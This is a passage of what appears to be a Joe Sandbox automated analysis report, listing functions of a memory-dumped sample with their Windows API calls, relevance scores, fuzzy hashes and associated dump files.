Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: da2bc701f4ddb77fb3e095acf947769ac597d1c10a94ef329cda0be6e8da3df3
Instruction ID: c6aad136a2c4917345146e94fc4814698f0ed954038f9f92071255e748901b6b
Opcode Fuzzy Hash: da2bc701f4ddb77fb3e095acf947769ac597d1c10a94ef329cda0be6e8da3df3
Instruction Fuzzy Hash: 99F044376082560ACB05CE78A96A2A9BB10EF8E33AF20715FE402D91C2CA0A5A51C318

Function 0043E531 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,004331E1,0043186A,?,004360C1,0043186C,0043186A,?,?,?,00433181,004331E1,0043186E,0043186A,0043186A,0043186A), ref: 0043E563

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ae46cc8b1691b1f94fee1cf70225b135ce35a9d4fc3f2505cf0edb6315b42091
Instruction ID: bcda1be5c757448892a6c540bd92c223512ae795d1380dcdf5ae7df609c65443
Opcode Fuzzy Hash: ae46cc8b1691b1f94fee1cf70225b135ce35a9d4fc3f2505cf0edb6315b42091
Instruction Fuzzy Hash: 20E0E571943224B6EA206AE7AC00B5B36489F0D7F9F153123BC45E72D2EB68CD0085AD

Non-executed Functions

Function 00443178 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00442B49,00000002,00000000,?,?,?,00442B49,?,00000000), ref: 00443211
GetLocaleInfoW.KERNEL32(?,20001004,00442B49,00000002,00000000,?,?,?,00442B49,?,00000000), ref: 0044323A
GetACP.KERNEL32(?,?,00442B49,?,00000000), ref: 0044324F

Strings

ACP, xrefs: 00443196
OCP, xrefs: 004431CC

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 333822ff7bfcac73690292d6cb9649478a1a955cc5870b1d925d258c52d36b0d
Instruction ID: 0e35ecee16c534596d4af0f02821469a2c6397687ccc4a84edfb49edd277362f
Opcode Fuzzy Hash: 333822ff7bfcac73690292d6cb9649478a1a955cc5870b1d925d258c52d36b0d
Instruction Fuzzy Hash: 8121CF72600101AAFB34CF54D905BABB3A6BF50F53B2684A6E90AC7210E77ADF41C358

Function 00442A13 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0043E783: GetLastError.KERNEL32(00000000,?,00440AB9), ref: 0043E787
Part of subcall function 0043E783: SetLastError.KERNEL32(00000000,?,?,00000028,0043B9D2), ref: 0043E829

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00442B1B
IsValidCodePage.KERNEL32(00000000), ref: 00442B59
IsValidLocale.KERNEL32(?,00000001), ref: 00442B6C
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00442BB4
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00442BCF

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 9dd45eaae9987f8d70f71d2ede626ad0443d23e99682af219b7067fa5bc8f00e
Instruction ID: 094d23f0965e1e06ebd30eea4b669353e22c51626561092ffdfd291724a7d87d
Opcode Fuzzy Hash: 9dd45eaae9987f8d70f71d2ede626ad0443d23e99682af219b7067fa5bc8f00e
Instruction Fuzzy Hash: 22519271A00215ABEB20DFA5CD45ABF77B8FF14701F85406AB900E7251DBB8EA04CB69

Function 0044375A Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044384A

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 9576cc2dba8a3d47111e2fd6e2f4258fcc154c16441f8d4c5ef311760746f6fe
Instruction ID: 33d634ccff226ff5251012ffc0e058a86a610eef3b42576c18acc9388dbf549f
Opcode Fuzzy Hash: 9576cc2dba8a3d47111e2fd6e2f4258fcc154c16441f8d4c5ef311760746f6fe
Instruction Fuzzy Hash: 4D71E6F19051586FEF20AF29CC8DAAEBBB8AF09705F1441DBE04993251DA395F858F18

Function 00435020 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0043502C
IsDebuggerPresent.KERNEL32 ref: 004350F8
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00435111
UnhandledExceptionFilter.KERNEL32(?), ref: 0043511B

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 80ba5a456b80874b5e2462c7fa9db6f314681137c1a39c0ebd152e50dd5ec135
Instruction ID: f6f65c5acc04d42b47b84504b754b7548d10cd6627722918509d68960a171da1
Opcode Fuzzy Hash: 80ba5a456b80874b5e2462c7fa9db6f314681137c1a39c0ebd152e50dd5ec135
Instruction Fuzzy Hash: D93129B5D053189BDF21DF64D8497CDBBB8AF08305F1051AAE40DAB250EB759B858F48

Function 00442CFF Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0043E783: GetLastError.KERNEL32(00000000,?,00440AB9), ref: 0043E787
Part of subcall function 0043E783: SetLastError.KERNEL32(00000000,?,?,00000028,0043B9D2), ref: 0043E829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00442D53
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00442D9D
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00442E63

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: f9e8947bf3255903819b6d2ccb8e565b0422fe1232e7844ede94e4328c4dac67
Instruction ID: 6d6e3df97e45ef4c293ab34e5a969624313f7c86ad2b0c5992f9ddc90391f71a
Opcode Fuzzy Hash: f9e8947bf3255903819b6d2ccb8e565b0422fe1232e7844ede94e4328c4dac67
Instruction Fuzzy Hash: 6B6190719102179FEB289F25CD82BAB77A8FF04301F60416BF905C6285EBB8D945DB58

Function 0043B4B9 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,004331E1), ref: 0043B5B1
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,004331E1), ref: 0043B5BB
UnhandledExceptionFilter.KERNEL32(00431542,?,?,?,?,?,004331E1), ref: 0043B5C8

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 30b2bfe871331d11c8bb77e2855c11498ff36102b8ce0fb5806726023094e55c
Instruction ID: 09d1fb8fdd19daa5938a4019799c7bf24a172727407195309fdce1de0c0b94ea
Opcode Fuzzy Hash: 30b2bfe871331d11c8bb77e2855c11498ff36102b8ce0fb5806726023094e55c
Instruction Fuzzy Hash: CF31C2B4901228ABCB21DF28DD897CDBBB8BF08315F5051EAE40CA6251E7749F818F48

Function 004436A9 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0043F807: HeapAlloc.KERNEL32(00000008,?,004331E1,?,0043E921,00000001,00000364,004331E1,00000003,000000FF,?,004360C1,0043186C,0043186A,?,?), ref: 0043F848

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044384A
FindNextFileW.KERNEL32(00000000,?), ref: 0044393E
FindClose.KERNEL32(00000000), ref: 0044397D
FindClose.KERNEL32(00000000), ref: 004439B0

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: 4a341376c107a59d3cd1f3af531f4f44e136cc5a48d7425da88c7a51822bbfb9
Instruction ID: b00652ed313942d793604c7cb6e08287ec3341d4c22169afabd9dd62d0e34823
Opcode Fuzzy Hash: 4a341376c107a59d3cd1f3af531f4f44e136cc5a48d7425da88c7a51822bbfb9
Instruction Fuzzy Hash: C3518DF55001196FFB24AF298C85DBFB7A9DF45B09F10809FF45893301EA389E418B28

Function 00442FB1 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0043E783: GetLastError.KERNEL32(00000000,?,00440AB9), ref: 0043E787
Part of subcall function 0043E783: SetLastError.KERNEL32(00000000,?,?,00000028,0043B9D2), ref: 0043E829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00443005

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 6f28336d3b5d668b093bfad83e57b027477f309402868b48041b769d09f50883
Instruction ID: 6879a20b8dd2fec8b41ef1517a5631bf53b2e87e8f069f451935206500194651
Opcode Fuzzy Hash: 6f28336d3b5d668b093bfad83e57b027477f309402868b48041b769d09f50883
Instruction Fuzzy Hash: 24218671501206ABEF289E1ADC42A7B77A8EF44B16F10017FF901D6285EB78EE41CA59

Function 004430D1 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0043E783: GetLastError.KERNEL32(00000000,?,00440AB9), ref: 0043E787
Part of subcall function 0043E783: SetLastError.KERNEL32(00000000,?,?,00000028,0043B9D2), ref: 0043E829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00443125

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 6fc434fc613aa9fa2b2f08f7aafb678fa605c59b1d35a41207f3f1c3e77ac3d9
Instruction ID: 0ae3ffe48c6f0f850a6f8776b179f09b7fa3a456ed7f444f8f5a4c042cddc046
Opcode Fuzzy Hash: 6fc434fc613aa9fa2b2f08f7aafb678fa605c59b1d35a41207f3f1c3e77ac3d9
Instruction Fuzzy Hash: 67110272601216ABEB14AF29DC42ABB77A8EF09715F10017FF501D7281EB7CEE018798

Function 00442C64 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0043E783: GetLastError.KERNEL32(00000000,?,00440AB9), ref: 0043E787
Part of subcall function 0043E783: SetLastError.KERNEL32(00000000,?,?,00000028,0043B9D2), ref: 0043E829

EnumSystemLocalesW.KERNEL32(00442CFF,00000001,00000000,?,-00000050,?,00442AEF,00000000,-00000002,00000000,?,00000055,?), ref: 00442CD6

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 4e631b5ede131323dcc49a95ac5debefc35f6409a20eb88c8975cd8466eaf7c1
Instruction ID: ad7802c1532bf2e933f6834fa992e5cd71b977a2bdcc2808d8f31a000bf6ac56
Opcode Fuzzy Hash: 4e631b5ede131323dcc49a95ac5debefc35f6409a20eb88c8975cd8466eaf7c1
Instruction Fuzzy Hash: AE11023A2003019FEB18AF39C9916BABB92FF80359B55442EE94787B40D3B5A942C744

Function 0044327E Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0043E783: GetLastError.KERNEL32(00000000,?,00440AB9), ref: 0043E787
Part of subcall function 0043E783: SetLastError.KERNEL32(00000000,?,?,00000028,0043B9D2), ref: 0043E829

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00442F1B,00000000,00000000,?), ref: 004432AA

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 90853135e0fac926ab3b690f52113c3c88d30ee5c63bb7fdfef4828480630765
Instruction ID: 949d23ab29b1b957eb2676d641af586ae84bab8a4996d82d7bf48e877a4ae03e
Opcode Fuzzy Hash: 90853135e0fac926ab3b690f52113c3c88d30ee5c63bb7fdfef4828480630765
Instruction Fuzzy Hash: 41012632600112BBFB185E25C807BBB3754FB40F5AF15046AAC12A3280EAB9FF41C69C

Function 00442F52 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0043E783: GetLastError.KERNEL32(00000000,?,00440AB9), ref: 0043E787
Part of subcall function 0043E783: SetLastError.KERNEL32(00000000,?,?,00000028,0043B9D2), ref: 0043E829

EnumSystemLocalesW.KERNEL32(00442FB1,00000001,?,?,-00000050,?,00442AB7,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 00442F9C

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: b6b05767713626ae7e53363629e1822157cc9f3f72dc2141acb9e8733d9759b7
Instruction ID: 74317ac3aa028e0dcdd4cc2a9c1364f77fdcf7f69b71d3185e1543673d762ea2
Opcode Fuzzy Hash: b6b05767713626ae7e53363629e1822157cc9f3f72dc2141acb9e8733d9759b7
Instruction Fuzzy Hash: C4F046362003042FEB145F398881A7B7BA1EF80768F84842EF9054B780D7F5AC02D648

Function 0043F717 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0043B750: EnterCriticalSection.KERNEL32(-00023A67,?,00438F5A,00000000,004544D8,0000000C,00438F13,?,?,0043F83A,?,?,0043E921,00000001,00000364,004331E1), ref: 0043B75F

EnumSystemLocalesW.KERNEL32(0043F70A,00000001,00454928,0000000C,0043F118,-00000050), ref: 0043F74F

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: caaf2d49531c2df0e4c0fbb76fd0009b6c3662adf300d5a496373a41be670883
Instruction ID: 21d7b532f370752559d2522545334486e2c2b62e3e49ff29028b80043b2147d5
Opcode Fuzzy Hash: caaf2d49531c2df0e4c0fbb76fd0009b6c3662adf300d5a496373a41be670883
Instruction Fuzzy Hash: 22F03772A04304DFD700DFA9E842B9D7BB0EB4872AF10812BF400DB2A1CB7999048F88

Function 00443086 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0043E783: GetLastError.KERNEL32(00000000,?,00440AB9), ref: 0043E787
Part of subcall function 0043E783: SetLastError.KERNEL32(00000000,?,?,00000028,0043B9D2), ref: 0043E829

EnumSystemLocalesW.KERNEL32(004430D1,00000001,?,?,?,00442B11,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 004430BD

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

